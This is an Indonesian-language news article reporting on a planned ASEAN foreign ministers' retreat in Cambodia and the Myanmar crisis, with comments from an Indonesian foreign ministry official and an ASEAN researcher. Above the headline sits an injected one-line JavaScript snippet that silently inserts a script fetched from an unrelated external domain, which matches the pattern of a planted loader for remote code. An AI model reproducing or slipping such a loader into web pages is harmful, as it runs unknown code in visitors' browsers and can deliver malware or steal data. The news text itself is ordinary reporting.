(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pertemuan Para Menlu ASEAN di Kamboja Difokuskan Pembahasan Krisis Myanmar

KANALKALIMANTAN.COM – Pertemuan retreat para menteri luar negeri ASEAN akan digelar pada 17 Februari di Kamboja. Krisis di Myanmar akan menjadi salah satu isu yang akan dibahas.

Direktur Jenderal Kerjasama ASEAN Kementerian Luar Negeri Sidharto Sutyodipuro menjelaskan pertemuan tersebut akan diawali dengan pembicaraan tingkat pejabat senior sehari sebelum pertemuan para menteri luar negeri ASEAN.

Dia menambahkan agenda pertemuan para menteri luar negeri ASEAN itu adalah membahas tindak lanjut dari konferensi tingkat tinggi ASEAN pada tahun lalu, prioritas Kamboja sebagai Ketua ASEAN tahun ini, hubungan ASEAN dengan para mitra wicaranya, serta situasi kawasan dan dunia internasional.

“Hal lain tentunya akan menjadi pembahasan cukup mendalam adalah situasi di Myanmar. Bagaimana ASEAN akan menyikapi situasi di Myanmar, langkah-langkah ke depan. Untuk AMM retreat mendatang, dari Myanmar yang diundang adalah perwakilan non-politik,” kata Sidharto.

Ia mengatakan dalam pertemuan tingkat pejabat senior tersebut, Myanmar akan mengirim pejabat kementerian luar negerinya. Untuk pertemuan tingkat menteri luar negeri, kata Sidharto, Indonesia mengharapkan pejabat itu juga yang akan hadir karena dia merupakan perwakilan non-politik.

Meski demikian, dia mengakui bahwa sampai saat ini belum diketahui apakah pejabat Kementerian Luar Negeri Myanmar itu juga yang akan hadir dalam pertemuan para menteri luar negeri ASEAN.

Mengenai keputusan Myanmar mengizinkan utusan khusus ASEAN sekaligus Menteri Luar Negeri Kamboja Prak Sokhonn menemui tokoh-tokoh Partai LND (Liga Nasional bagi Demokrasi) kecuali Aung San Suu Kyi, Sidharto menambahkan dirinya belum mengetahui siapa saja tokoh LND yang akan dibolehkan bertemu utusan khusus ASEAN tersebut.

Padahal, lanjutnya, dalam upaya penyelesaian masalah krisis politik di Myanmar, semua pihak mesti dilibatkan termasuk pemimpin LND Aung San Suu Kyi.

Sidharto menegaskan kembali posisi Indonesia bahwa dalam semua pertemuan ASEAN mulai dari tingkat menteri hingga ke atas, Myanmar harus diwakili oleh perwakilan non-politik.

Peneliti ASEAN dari Lembaga Ilmu Pengetahuan Indonesia (LIPI) Pandu Prayoga mengapresiasi langkah Myanmar yang akan mengizinkan utusan khusus ASEAN, yakni Menteri Luar Negeri Kamboja Prak Sokhonn, menemui tokoh-tokoh Partai LND meskipun Aung San Suu Kyi tidak diikutsertakan.

Tidak diikutsertakannya Suu Kyi, kata Pandu, menggambarkan bahwa Junta Militer Myanmar khawatir bahwa pemimpin oposisi itu masih memiliki pengaruh yang besar.

Namun, Pandu menilai dengan diperbolehkannya utusan khusus ASEAN bertemu dengan tokoh LND tidak menjamin Junta Militer bisa mengikuti pertemuan tingkat menteri luar negeri yang dalam waktu dekat akan dilaksanakan.

Seorang pengunjuk rasa memegang foto pemimpin sipil Myanmar yang ditahan Aung San Suu Kyi selama demonstrasi menentang kudeta militer di luar Kedutaan Besar Myanmar di Bangkok pada 7 Februari 2021. Foto : AFP

“Sekalipun bukan Suu Kyi yang didatangi tetapi ada pimpinan top lah yang bisa menjadi perwakilan dari LND untuk ditemui oleh special envoy. Sebenarnya special envoy ini datang ke Myanmar untuk mengumpulkan semua pihak untuk mengetahui apa yang sebenarnya terjadi sekaligus (mendorong terjadinya, red) kerja sama agar kekerasan yang terjadi di Myanmar terhenti,” kata Pandu.

Pandu berharap persoalan Myanmar dapat selesai tahun ini, di bawah kepemimpinan Kamboja, sehingga ASEAN dapat berkonsentrasi pada persoalan-persoalan kawasan lainnya termasuk kerja sama bidang ekonomi. (VOA/fw/ab)

Editor : desy